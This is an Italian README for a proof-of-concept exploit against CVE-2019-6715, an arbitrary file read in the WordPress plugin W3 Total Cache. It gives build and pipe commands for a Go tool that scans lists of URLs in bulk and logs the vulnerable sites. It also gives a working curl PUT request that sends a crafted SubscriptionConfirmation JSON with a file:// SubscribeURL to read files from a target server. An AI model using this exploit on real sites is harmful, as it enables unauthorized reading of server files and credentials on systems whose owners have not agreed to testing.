
PoC exploit per CVE-2019-6715: lettura arbitraria di file nel plugin WordPress W3 Total Cache tramite JSON SubscriptionConfirmation creato ad hoc. Legge file da server vulnerabili usando un elenco di URL tramite pipe.
go get github.com/fatih/color
go build
cat list.txt | ./2019-6715
Tutti gli URL vulnerabili vengono registrati in text.log
Descrizione: pub/sns.php nel plugin W3 Total Cache precedente alla versione 0.9.4 per WordPress consente a un attaccante remoto di leggere file arbitrari tramite il campo SubscribeURL nei dati JSON di SubscriptionConfirmation.
Tipo di vulnerabilità: lettura arbitraria di file
Produttore del prodotto: plugin Wordpress W3 Total Cache di Frederick Townes
Base del codice prodotto interessato: W3 Total Cache - 0.9.2.6 - 0.9.3, risolto nella 0.9.4
Componente interessato: File sorgente interessato: w3-total-cache/pub/sns.php
curl -X PUT --data '{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"file://file_path"}' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36' http://victim.com/wp-content/plugins/w3-total-cache/pub/sns.php